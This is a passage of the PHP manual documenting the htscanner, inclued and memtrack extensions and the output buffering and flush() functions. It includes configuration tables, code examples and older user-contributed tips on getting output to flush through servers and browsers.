htscanner
Installing/Configuring
htscanner


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
htscanner


Requirements

PHP version 5.2.0 or greater.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/htscanner

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

htscanner Configure Options
Name | Default | Changeable | Changelog
htscanner.config_file | ".htscanner" | PHP_INI_SYSTEM |
htscanner.default_docroot | "/" | PHP_INI_SYSTEM |
htscanner.default_ttl | "300" | PHP_INI_SYSTEM |
htscanner."stop_on_error" | "Off" | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

htscanner.config_file string

Filename to use as configuration file.

htscanner.default_docroot string

Default document root.

htscanner.default_ttl int

Cache time out for the configuration data, in seconds.

htscanner.stop_on_error int

Stop on error (parse error, cannot set an ini setting).

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

This extension has no resource types defined.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
inclued
Installing/Configuring


Inclusion hierarchy viewer

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Example that implements inclued into an application
  • inclued Functions
    • inclued_get_data — Get the inclued data

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Introduction
Affecting PHP's Behaviour


Introduction

Traces through and dumps the hierarchy of file inclusions and class inheritance at runtime.

The files may have been included using include(), include_once(), require(), or require_once().

Class inheritance dependencies are also reported.

User Contributed Notes

There are no user contributed notes for this page.
inclued
Installing/Configuring
inclued


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
inclued


Requirements

PHP version 5.1.0 or greater.

The included gengraph.php file utilizes the » graphviz library, however, this is not required.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/inclued

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

inclued Configure Options
Name | Default | Changeable | Changelog
inclued.enabled | Off | PHP_INI_SYSTEM |
inclued.dumpdir | NULL | PHP_INI_SYSTEM |
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

inclued.enabled bool

Whether or not to enable inclued.

inclued.dumpdir string

Location (path) to the directory that stores inclued files. If set, each PHP request will create a file. These files are serialized versions of what inclued_get_data() would produce, so may be unserialized with unserialize().

Caution

Because every request creates a file, this directory may fill up fast!

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
inclued


Examples

Table of Contents

  • Example that implements inclued into an application

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Example that implements inclued into an application
inclued


Example that implements inclued into an application

This example demonstrates the process of implementing inclued into an existing application, and viewing the results.

Example #1 Getting the data within the PHP application itself (function)

<?php
// File to store the inclued information
$fp = fopen('/tmp/wp.ser', 'w');
if ($fp) {
    $clue = inclued_get_data();
    if ($clue) {
        fwrite($fp, serialize($clue));
    }
    fclose($fp);
}
?>

Now that some data exists, it's time to make sense of it in the form of a graph. The inclued extension includes a PHP file named gengraph.php that creates a dot file that requires the » graphviz library. However, this form is not required.

Example #2 Example use of gengraph.php

This example creates an image named inclued.png that shows the inclued data.

# First, create the dot file
$ php graphviz.php -i /tmp/wp.ser -o wp.dot

# Next, create the image
$ dot -Tpng -o inclued.png wp.dot

Example #3 Listing data via inclued dumps (configuration)

When using the inclued.dumpdir directive, files (include clues) are dumped with every request. Here's one way to list those files, and unserialize() them.

<?php
$path = ini_get('inclued.dumpdir');
if ($path && is_dir($path)) {

    echo "Path: $path", PHP_EOL;

    $inclues = new GlobIterator($path . DIRECTORY_SEPARATOR . 'inclued*');

    if ($inclues->count() === 0) {
        echo 'No clues today', PHP_EOL;
        exit;
    }

    foreach ($inclues as $inclue) {

        echo 'Inclued file: ', $inclue->getFilename(), PHP_EOL;

        $data = file_get_contents($inclue->getPathname());
        if ($data) {
            $inc = unserialize($data);
            echo ' -- filename: ', $inc['request']['SCRIPT_FILENAME'], PHP_EOL;
            echo ' -- number of includes: ', count($inc['includes']), PHP_EOL;
        }
        echo PHP_EOL;
    }
} else {
    echo 'I am totally clueless today.', PHP_EOL;
}
?>

The above example will output something similar to:

PATH: /tmp/inclued
Inclued file: inclued.56521.1
 -- filename: /Users/philip/test.php
 -- number of includes: 1

Inclued file: inclued.56563.1
 -- filename: /tmp/none.php
 -- number of includes: 0

Inclued file: inclued.56636.1
 -- filename: /tmp/three.php
 -- number of includes: 3

User Contributed Notes

admin at eexit dot net 05-Aug-2010 08:14
The new gengraph.php has « -t » parameter set to « includes » by default. Don't forget to specify it to « classes » for most of all projects.

Since PHP 5.3, namespace operators are stripped by Graphiz when the graph is generated. Add the following tips to escape namespace operators:

<?php
// Around line 254
else /* classes */
{
    $filemap = array();

    foreach($data["classes"] as $k => $v) {
        $class = $v;

    // Here is the tip to remove namespaces
        $class['name'] = str_replace('\\', '\\\\', $class['name']);
        $class['mangled_name'] = str_replace('\\', '\\\\', $class['mangled_name']);

// ...
?>

By the way, if you are looking for an easy way to use inclued, take a look at my library: http://www.eexit.net/projects/inclued.html
Examples
inclued Functions
Examples


inclued Functions

Table of Contents

  • inclued_get_data — Get the inclued data

User Contributed Notes

There are no user contributed notes for this page.
Example that implements inclued into an application
inclued_get_data
inclued


Get the inclued data

inclued Functions
Memtrack
inclued Functions
PHP Manual

inclued_get_data

(PECL inclued >= 0.1.0)

inclued_get_data — Get the inclued data

Description

array inclued_get_data ( void )

Get the inclued data.

Parameters

This function has no parameters.

Return Values

The inclued data.

Examples

Example #1 inclued_get_data() example

See the inclued examples section for ways to create graphs with this data.

<?php
include 'x.php';

$clue = inclued_get_data();

print_r($clue);
?>

The above example will output something similar to:

Array
(
  [includes] => Array
    (
      [0] => Array
        (
          [operation] => include
          [op_type] => 2
          [filename] => x.php
          [opened_path] => /tmp/x.php
          [fromfile] => /tmp/z.php
          [fromline] => 2
        )
    )
)

See Also

  • inclued examples
  • debug_backtrace() - Generates a backtrace
  • include()

User Contributed Notes

There are no user contributed notes for this page.
inclued Functions
Memtrack
inclued Functions


Memtrack

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
inclued_get_data
Introduction
Affecting PHP's Behaviour


Introduction

The purpose of this extension is to detect the most memory hungry scripts and functions.

memtrack tracks memory consumption in PHP scripts and produces reports (warnings) when the consumption reaches certain levels set by the user. This is achieved by replacing default executor function by a special function which compares memory usage before and after running the original executor - this way we can tell how much the memory usage has changed during the execution of the current part of the code.

Zend Engine runs its executor for each opcode array (op_array), which usually means function, plain script and such, so memtrack doesn't have any noticeable effect on performance.

memtrack doesn't provide any functions, there are only INI directives which allow you to configure the way it should work.

Warning

This extension is EXPERIMENTAL. The behaviour of this extension including the names of its functions and any other documentation surrounding this extension may change without notice in a future release of PHP. This extension should be used at your own risk.

User Contributed Notes

There are no user contributed notes for this page.
Memtrack
Installing/Configuring
Memtrack


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Memtrack


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/memtrack

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Memtrack Configuration Options
Name | Default | Changeable
memtrack.enabled | "0" | PHP_INI_SYSTEM
memtrack.soft_limit | "0" | PHP_INI_ALL
memtrack.hard_limit | "0" | PHP_INI_ALL
memtrack.vm_limit | "0" | PHP_INI_ALL
memtrack.ignore_functions | "" | PHP_INI_SYSTEM
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

memtrack.enabled boolean

Disables or enables the extension. Default value is 0, i.e. disabled.

memtrack.soft_limit int

Soft memory limit.

The extension checks memory consumption before and after executing an op_array and produces a warning is the difference between the two values is equal to or greater than the soft limit, but only if the function is not ignored.

Setting this option to 0 also disables both soft and hard limit warnings. Default value is 0, i.e. no warnings is produced.

memtrack.hard_limit int

Hard memory limit.

The extension checks memory consumption before and after executing an op_array and produces a warning is the difference between the two values is equal to or greater than the hard limit, even if the function is ignored. Setting this option to 0 disables hard limit warnings completely. Default value is 0, i.e. no hard limit warnings is produced.

memtrack.vm_limit int

Virtual memory limit (set on a process).

This limit is checked only on shutdown and a warning is produced if the value is greater than or equal to the limit.

This option is currently supported only on OSes where mallinfo() function is available (i.e. Linux).

memtrack.ignore_functions string

A comma or whitespace-separated list of functions which are to be ignored by soft_limit. The values are case-insensitive, for class methods use class::method syntax.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Memtrack


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
Memtrack


Basic usage

Basic example on using memtrack extension:

Example #1 Creating large array in a function

<?php

/* /tmp/example1.php */

function foo() {
    $a = array();
    for ($i = 0; $i < 10000; $i++) $a[] = "test";
    return $a;
}
$arr = foo();

?>

Run the example with the following command:

php -d memtrack.enabled=1 -d memtrack.soft_limit=1M -d memtrack.vm_limit=3M /tmp/example1.php

The above example will output something similar to:

Warning: [memtrack] [pid 26177] user function foo() executed in /tmp/example1.php on line 10 allocated 4194304 bytes in /tmp/example1.php on line 0
Warning: [memtrack] [pid 26177] virtual memory usage on shutdown: 32911360 bytes in Unknown on line 0

User Contributed Notes

There are no user contributed notes for this page.
Examples
Output Control
Examples


Output Buffering Control

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Output Control Functions
    • flush — Flush the output buffer
    • ob_clean — Clean (erase) the output buffer
    • ob_end_clean — Clean (erase) the output buffer and turn off output buffering
    • ob_end_flush — Flush (send) the output buffer and turn off output buffering
    • ob_flush — Flush (send) the output buffer
    • ob_get_clean — Get current buffer contents and delete current output buffer
    • ob_get_contents — Return the contents of the output buffer
    • ob_get_flush — Flush the output buffer, return it as a string and turn off output buffering
    • ob_get_length — Return the length of the output buffer
    • ob_get_level — Return the nesting level of the output buffering mechanism
    • ob_get_status — Get status of output buffers
    • ob_gzhandler — ob_start callback function to gzip output buffer
    • ob_implicit_flush — Turn implicit flush on/off
    • ob_list_handlers — List all output handlers in use
    • ob_start — Turn on output buffering
    • output_add_rewrite_var — Add URL rewriter values
    • output_reset_rewrite_vars — Reset URL rewriter values

User Contributed Notes

clancy hood at gmail dot com 11-Apr-2009 11:33
The manual is a little shy on explaining that output buffers are nested, and that "turns off output buffering" means turning off the highest nested buffer.  See ob_get_level (for a useful function, but still no explanation)

<?php
    ob_start();
    echo "1:blah\n";
    ob_start();
    echo "2:blah";
    // ob_get_clean() returns the contents of the last buffer opened.  The first "blah" and the output of var_dump are flushed from the top buffer on exit
    var_dump(ob_get_clean());
    exit;
?>

puts:
    1:blah
    string(6) "2:blah"

Prior to realising this, I had thought PHP's ob functionality left more to be desired.  I *really* wish I knew earlier.
Basic usage
Introduction
Affecting PHP's Behaviour


Introduction

The Output Control functions allow you to control when output is sent from the script. This can be useful in several different situations, especially if you need to send headers to the browser after your script has began outputting data. The Output Control functions do not affect headers sent using header() or setcookie(), only functions such as echo() and data between blocks of PHP code.

Note:

When upgrading from PHP 4.1.x (and 4.2.x) to 4.3.x due to a bug in earlier versions you must ensure that implicit_flush is OFF in your php.ini, otherwise any output with ob_start() will not be hidden from output.

User Contributed Notes

Patrick 11-Feb-2009 08:23
[In English:]
it's seem have performance impact, try this with and without bufferisation ( by output_buffering = 4096, or ob_start + ob_end_flush, it looks similar)

[En Francais:]
Ca semble avoir un fort impact sur les performances aussi, essayez ca avec et sans bufferisation ( par output_buffering = 4096, ou bien ob_start + ob_end_flush, ca semble identique)

<?php
for ($j=1; $j <= 5; $j++)  {

  list($usec, $sec) = explode(" ",microtime());
  $debut[$j] = ((float)$usec + (float)$sec);

  echo str_repeat("0123456789",5000) . '<br>' ;

  list($usec, $sec) = explode(" ",microtime());
  $fin[$j] = ((float)$usec + (float)$sec);
}

for ($j=1; $j <= 5; $j++)  {
   echo round($fin[$j]-$debut[$j], 5) . '<br>';
}
?>
Output Control
Installing/Configuring
Output Control


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Output Control


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Output Control configuration options
Name | Default | Changeable | Changelog
output_buffering | "0" | PHP_INI_PERDIR |
output_handler | NULL | PHP_INI_PERDIR | Available since PHP 4.0.4.
implicit_flush | "0" | PHP_INI_ALL | PHP_INI_PERDIR in PHP <= 4.2.3.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

output_buffering boolean/integer

You can enable output buffering for all files by setting this directive to 'On'. If you wish to limit the size of the buffer to a certain size - you can use a maximum number of bytes instead of 'On', as a value for this directive (e.g., output_buffering=4096). As of PHP 4.3.5, this directive is always Off in PHP-CLI.

output_handler string

You can redirect all of the output of your scripts to a function. For example, if you set output_handler to mb_output_handler(), character encoding will be transparently converted to the specified encoding. Setting any output handler automatically turns on output buffering.

Note:

You cannot use both mb_output_handler() with
ob_iconv_handler() and you cannot use both
ob_gzhandler() and
zlib.output_compression.

Note:

Only built-in functions can be used with this directive. For user defined functions, use ob_start().

implicit_flush boolean

FALSE by default. Changing this to TRUE tells PHP to tell the output layer to flush itself automatically after every output block. This is equivalent to calling the PHP function flush() after each and every call to print() or echo() and each and every HTML block.

When using PHP within an web environment, turning this option on has serious performance implications and is generally recommended for debugging purposes only. This value defaults to TRUE when operating under the CLI SAPI.

See also ob_implicit_flush().

User Contributed Notes

Mr.KTO 13-Feb-2009 01:57
PHP will send buffer to browser every get_opt('output_buffering') bytes.
I recommend to turn this option off in php.ini:

output_buffering = Off;
Installation
Resource Types
Installing/Configuring


Predefined Constants

This extension has no constants defined.

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Examples
Output Control


Examples

Table of Contents

  • Basic usage

User Contributed Notes

There are no user contributed notes for this page.
Predefined Constants
Basic usage
Output Control


Basic usage

Example #1 Output Control example

<?php

ob_start();
echo "Hello\n";

setcookie("cookiename", "cookiedata");

ob_end_flush();

?>

In the above example, the output from echo() would be stored in the output buffer until ob_end_flush() was called. In the mean time, the call to setcookie() successfully stored a cookie without causing an error. (You can not normally send headers to the browser after data has already been sent.)

User Contributed Notes

There are no user contributed notes for this page.
Examples
Output Control Functions
Examples


Output Control Functions

See Also

See also header() and setcookie().

Table of Contents

  • flush — Flush the output buffer
  • ob_clean — Clean (erase) the output buffer
  • ob_end_clean — Clean (erase) the output buffer and turn off output buffering
  • ob_end_flush — Flush (send) the output buffer and turn off output buffering
  • ob_flush — Flush (send) the output buffer
  • ob_get_clean — Get current buffer contents and delete current output buffer
  • ob_get_contents — Return the contents of the output buffer
  • ob_get_flush — Flush the output buffer, return it as a string and turn off output buffering
  • ob_get_length — Return the length of the output buffer
  • ob_get_level — Return the nesting level of the output buffering mechanism
  • ob_get_status — Get status of output buffers
  • ob_gzhandler — ob_start callback function to gzip output buffer
  • ob_implicit_flush — Turn implicit flush on/off
  • ob_list_handlers — List all output handlers in use
  • ob_start — Turn on output buffering
  • output_add_rewrite_var — Add URL rewriter values
  • output_reset_rewrite_vars — Reset URL rewriter values

User Contributed Notes

Anonymous 20-Apr-2009 12:24
You possibly also want to end your benchmark after the output is flushed.

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

                              <----------
echo your_benchmark_end_function();      |
ob_end_flush (); ------------------------
?>
della at sun dot com 25-Nov-2008 01:08
Sometimes users are blaming about slow pages ... not being aware that mostly this is due to network issues.
So I've decided to add some statistics at the end of my pages:

At beginning I start the counters:

<?php
  function microtime_float() {
    if (version_compare(PHP_VERSION, '5.0.0', '>'))  return microtime(true);
    list($u,$s)=explode(' ',microtime()); return ((float)$u+(float)$s);
  }
  $initime=microtime_float();
  ob_start();
  ob_implicit_flush();
?>

And at the end I show the statistics:

<?php
  echo "PHP Time: ".round((microtime_float()-$initime)*1000)." msecs. ";
  echo "Size: ".round_byte(strlen(ob_get_contents()));
  ob_end_flush();
?>

(round_byte is my function to print byte sizes)
jgeewax a t gmail 29-Jun-2007 07:02
It seems that while using output buffering, an included file which calls die() before the output buffer is closed is flushed rather than cleaned. That is, ob_end_flush() is called by default.

<?php
// a.php (this file should never display anything)
ob_start();
include('b.php');
ob_end_clean();
?>

<?php
// b.php
print "b";
die();
?>

This ends up printing "b" rather than nothing as ob_end_flush() is called instead of ob_end_clean(). That is, die() flushes the buffer rather than cleans it. This took me a while to determine what was causing the flush, so I thought I'd share.
basicartsstudios at hotmail dot com 28-Jan-2007 12:45
Please note that most browsers don't display a table unless they passed its end-tag "</table>".

Thats why using this feature in HTML-tables might not result in what you expected...

best regards
BasicArtsStudios
basicartsstudios at hotmail dot com 21-Jan-2007 10:39
Sometimes you might not want to include a php-file under the specifications defined in the functions include() or require(), but you might want to have in return the string that the script in the file "echoes".

Include() and require() both directly put out the evaluated code.

For avoiding this, try output-buffering:
<?php
ob_start();
eval(file_get_contents($file));
$result = ob_get_contents();
ob_end_clean();
?>
or
<?php
ob_start();
include($file);
$result = ob_get_contents();
ob_end_clean();
?>
which i consider the same, correct me if I'm wrong.

Best regards, BasicArtsStudios
trucex [um, at] gmail [um, dot] com 16-Sep-2006 02:08
Unfortunately, the PHP guys didn't build support into any of the image output functions to return the image instead of outputting it.

Fortunately, we have output buffering to fix that.

<?php

$im = imagecreatetruecolor(200, 200);

// Other image functions here...

ob_start();
imagepng($im);
$imageData = ob_get_contents();
ob_clean();

?>

You can now use the $imageData variable to either create another GD image, save it, put it in a database, make modifications to the binary, or output it to the user. You can easily check the size of it as well without having to access the disk...just use strlen();
webmaster at wistex dot com 07-Sep-2006 04:07
Now this just blew my mind. I had a problem with MySQL being incredibly slow on Windows 2003 running IIS... on ASP/VBScript pages. PHP is also installed on the server and so is Microsoft SQL 2005 Express. (Yes, we're running ASP, PHP, MySQL and MS SQL on the same Windows 2003 Server using IIS.)

I was browsing the internet for a solution and saw a suggestion that I change output_buffering to on if MySQL was slow for PHP pages.  Since we also served PHP pages with MySQL from the same server, it caught my eye.  For the hell of it, I went into php.ini and changed output_buffering to on and suddenly MySQL and ASP was faster... MySQL and PHP was faster... Microsoft SQL Server 2005 Express and ASP was faster.... everything was faster... even stuff that had no PHP!

And I didn't even have to restart IIS. As soon as I saved the php.ini file with the change, everything got faster.

Apparently PHP and MySQL and IIS are so intertwined somehow that changing the buffering setting really effects the performance of the entire server.

So, if you are having performance problems on Windows 2003 & IIS, you might try setting output_buffering = On in php.ini if you happen to have PHP installed.  Having it set to off apparently effects the performance of Windows 2003 and IIS severely... even for webpages that do not use PHP or MySQL.
kamermans at teratechnologies dot net 21-Aug-2006 01:30
Output buffering is set to '4096' instead of 'Off' or '0' by default in the php-5.0.4-10.5 RPM for Fedora Core release 4 (Stentz).  This has cost me much time!
kend52 at verizon dot net 23-Jun-2005 11:25
I ran out of memory, while output buffering and drawing text on imported images. Only the top portion of the 5MP image was displayed by the browser.  Try increasing the memory limit in either the php.ini file( memory_limit = 16M; ) or in the .htaccess file( php_value memory_limit "16M" ). Also see function memory_get_usage() .
gruik at libertysurf dot fr 10-Jul-2004 05:53
For those who are looking for optimization, try using buffered output.

I noticed that an output function call (i.e echo()) is somehow time expensive. When using buffered output, only one output function call is made and it seems to be much faster.
Try this :

<?php
your_benchmark_start_function();

for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
?>

And then :

<?php
your_benchmark_start_function();

ob_start ();
for ($i = 0; $i < 5000; $i++)
    echo str_repeat ("your string blablabla bla bla", (rand() % 4) + 1)."<br>\n";

echo your_benchmark_end_function();
ob_end_flush ();
?>
tijmen 09-Jul-2003 04:44
Trying to benchmark your server when using output_buffering ?
Don't forget that the value 4096 in the php.ini will give you complete different loadtimes compares to the value of 1.
In the first case the output will be sent after buffering 4096 and the loadtime timed at the end of the page will contain the loadtime needed to download the complete page in the clientbrowser while the second value will contain the loadtime needed to place the complete page in the buffer. The time needed for sending is not clocked.
This can be very frustrating if you don't see the differance between server and the 1st is using 4096 instead of 1.
Although technically much faster than the second server the second server was providing much better loadtime results.
This result will grow when using large amounts of output.
But this becomes interesting if you want to measure the time needed for the page to be loaded for the client.
Basic usage
flush
Output Control


Flush the output buffer

Output Control Functions
ob_clean
Output Control Functions
PHP Manual

flush

(PHP 4, PHP 5)

flush — Flush the output buffer

Description

void flush ( void )

Flushes the write buffers of PHP and whatever backend PHP is using (CGI, a web server, etc). This attempts to push current output all the way to the browser with a few caveats.

flush() may not be able to override the buffering scheme of your web server and it has no effect on any client-side buffering in the browser. It also doesn't affect PHP's userspace output buffering mechanism. This means you will have to call both ob_flush() and flush() to flush the ob output buffers if you are using those.

Several servers, especially on Win32, will still buffer the output from your script until it terminates before transmitting the results to the browser.

Server modules for Apache like mod_gzip may do buffering of their own that will cause flush() to not result in data being sent immediately to the client.

Even the browser may buffer its input before displaying it. Netscape, for example, buffers text until it receives an end-of-line or the beginning of a tag, and it won't render tables until the </table> tag of the outermost table is seen.

Some versions of Microsoft Internet Explorer will only start to display the page after they have received 256 bytes of output, so you may need to send extra whitespace before flushing to get those browsers to display the page.

Return Values

No value is returned.

User Contributed Notes

seb dot field at gmail dot com 18-Sep-2010 03:52
If flush() function does not work. You must set next options in php.ini like:

--[code]--
 output_buffering = Off
 ;output_handler =
 zlib.output_compression = Off
 ;zlib.output_handler =
--[^code^]--

If things does not work you must view headers from the server and check `Server` string.
In my case, as the frontend was Nginx webserver and Apache work as backend.
Accordingly, buffering must be disabled in Nginx config file.
To stop buffering you must add next string to config file:

--[code]--
proxy_buffering off;
--[^code^]--

and restart Nginx daemon.  More information about  configuration you find in documentation on the nginx website.
brudinie at googlemail dot com 14-Sep-2009 02:21
This flush function avoids error messages related to the buffer not being set when you try to flush.

<?php
function flush (){
    echo(str_repeat(' ',256));
    // check that buffer is actually set before flushing
    if (ob_get_length()){
        @ob_flush();
        @flush();
        @ob_end_flush();
    }
    @ob_start();
}
?>
tobias at dcode dot se 19-Jun-2009 01:21
Following the speed-up rules from http://developer.yahoo.com/performance/rules.html in the topic "Flush the Buffer Early" with ob_start() will output headers early and thereby corrupt error handling events extended with eg. FirePHP that will trigger something like; "Exception thrown within the exception handler. Message: Headers already sent in on line 0. Cannot send log data to FirePHP." or "Exception thrown without a stack frame in Unknown on line 0".

So use </head><?= ob_flush(); =?><body> instead to invoke this rule/recommendation with ob_start(); to make it work.
jason@jasonbaumgartner@info 16-Jun-2009 05:18
Many of the suggestions below are very helpful but I would just like to clarify something.

If you are making calls to a .php script with AJAX (xmlHttpReq) and use flush, this will send data to your script HOWEVER it will not set the xmlHttpReq.readyState to 4 -- which is a requirement to use the information sent (Firefox does however allow you to use the responseText property with a readyState == 3 but IE will throw an error).

To get around this, you will need to make sure of a couple things:

In your Apache php.ini config file, check to make sure that output buffering is disabled:

output_buffering = off

Next, disable gzip compression for the .php script that is called from your AJAX script by using the excellent suggestion from Mandor by placing the following at the top of your script:

@apache_setenv('no-gzip', 1);
@ini_set('zlib.output_compression', 0);

What causes this problem is that while the php child process is running under apache, apache is waiting for the script to complete before completely closing the connection.  Scripts that send information directly to the browser with echos and prints will get away with using flush followed by a sleep command and then clean up procedures.  However, if you notice in the status bar of your browser window, the connection is still held open by apache until the script completed ("Transferring" ... yadda yadda).

By turning off the Apache compression, the connection is terminated directly after a flush while still giving the user the ability to run a sleep command followed by clean up code.

This bit me because the AJAX was returning <img> tags to newly created images by php.  The cleanup script would then remove those images after completion.

Since Apache held the connection open, the readyState only changed to 4 AFTER my php cleanup fired -- thereby erasing the links referred to my the <img> tags.

With this solution, the readyState will change to 4 BEFORE the sleep command begins.

I hope this saves someone a lot of time and frustration.  AJAX requests are an entirely different beast compared with simple outputting to a browser window.
mandor at mandor dot net 22-Dec-2008 07:20
This is what I use to turn off pretty much anything that could cause unwanted output buffering and turn on implicit flush:

<?php

    @apache_setenv('no-gzip', 1);
    @ini_set('zlib.output_compression', 0);
    @ini_set('implicit_flush', 1);
    for ($i = 0; $i < ob_get_level(); $i++) { ob_end_flush(); }
    ob_implicit_flush(1);

?>

If it still fails though, keep in mind that Internet Explorer and Safari have a 1k buffer before incremental rendering kicks in, so you'll want to output some padding as well.
Arerano 16-Nov-2008 06:58
This helped me getting flushing to work.
Using apache with deflate.

Turning compression off for this script: (add it somewhere at the top of the script)
apache_setenv('no-gzip', '1');

However, this only works if php is running as a module rather than a cgi-extension and safe mode must be disabled.

You can also turn the compression off for a directory by making a .htaccess file and adding the following entry:
mod_gzip_on Off

However that affects the whole directory.
Hope I could help.
Seegras 29-Oct-2008 06:46
- mod_cern_meta will inhibit flush(). No workaround.
- mod_deflate will inhibit flush(). Not sure whether there is a workaround.
- The default-rules of mod_security will inhibit flush() as well. There is a workaround: SecResponseBodyAccess Off
Mr.KTO 12-Oct-2008 06:14
IE 7, Opera 9.6, any. All is quite simple. Today I just fogot what i do every night, :)

<?php
// All you need is 256 spaces first
echo str_repeat(" ", 256)."<pre>"; flush();

// and ANY TAG before \r\n
echo "working...<br/>\r\n"; flush(); sleep(1); // this in cycle
?>
Lucas 27-Aug-2008 03:12
I just had some problems with flush() and ob_flush(). What I did to resolve this problem took me some time to figure out so I'd like to share what I came up with.

The main problem is the php setting "output_buffering" which can be set too large and will prevent your text from outputting. To change this value you can either set it in php.ini or you can add the line

php_value output_buffering "0"

to your .htaccess file. It will not work with ini_set() since it is PHP_INI_PERDIR.

Next thing is to begin with ob_start();
Then you need
ob_flush();
flush();
before any echo or print.

Your code might look like this:

<?php
ob_start();

for($i=0;$i<70;$i++)
{
    echo 'printing...<br />';
    ob_flush();
    flush();

    usleep(300000);
}

?>

Hope this helps anyone with the same problems.
David 07-May-2008 02:32
mod_security 2.x core rules will also prevent flush() from working.
3rowley at uppingham dot co dot uk 30-Apr-2008 11:08
It appears that the flush() command does not work when running under suPHP. I have had it explained to me that this is due to suPHP caching all the PHP output untill the connection has been terminated, thus making this command useless.

Hope that helps someone.
(Also, if anyone comes up with a cunning solution, I would love to hear)

Josh
marques at displague dot com 10-Apr-2008 10:23
flush() will prevent headers from being sent.

<?php
flush();
header('Location: testj.php');
?>

Warning: Cannot modify header information - headers already sent in testk.php on line 3
www.koalabear.nl 12-Mar-2008 04:19
This will work for IE 7.0 :)

Do not use within <PRE> tag because of the extra spaces send

<?php
function hardFlush() {
    // Like said in PHP description above, some version of IE (7.0 for example)
    // will not 'update' the page if less then 256 bytes are received
    // Send 250 characters extra
    echo '                                                  ';
    echo '                                                  ';
    echo '                                                  ';
    echo '                                                  ';
    echo '                                                  ';
    flush();
    ob_flush();
}
?>
dale3h 07-Nov-2007 09:41
When building a progress bar for a time intensive script, I came across a Firefox bug. I have only tested this in Firefox 2.0.0.9.

When using <div> tags for the progress bar, you MUST have a non-whitespace character inside the <div> upon initialization. If you do not, Firefox will freeze until the script is complete.
chuck at artistan dot org 27-Jun-2007 06:57
had problems flushing tables to screen.
this worked for me

<?php
if (ob_get_level() == 0) ob_start();
loop{
    tables and stuff
    echo str_pad("<br>\n",8);
}
ob_flush();
flush();  // needed ob_flush
usleep(50000);// delay minimum of .05 seconds to allow ie to flush to screen
?>
mbilliet at gmail dot com 13-May-2007 03:13
Hello,

I had the same problems with sending a javascript after the <body></body> content has been sent to the browser (the script updates the content of an iframe).

Two solutions work for me:
   - add enough data (i.e.: extra dummy text like spaces) or,
   - echo the '</body>' tag at the end of the page

Note, that for the latter to work one should:
   - turn of output_buffering in php.ini and either:
      * turn on implicit_flush in its php.ini or,
      * call ob_implicit_flush(); at the beginning of a script

I preferr echoing the '</body>' tag at the end as it doesn't require any extra data to be sent over the wire and its much a neater coding technique.

Notes:
   - these worakarounds aren't needed when using perl and cgi,... .
   - you can leave the zlib.output_compression in your php.ini switched on

Kind regards and hoped this is of any help.

Maurits
macott[D0T]daiato[4T]gmail[D0T]com 24-Apr-2007 12:17
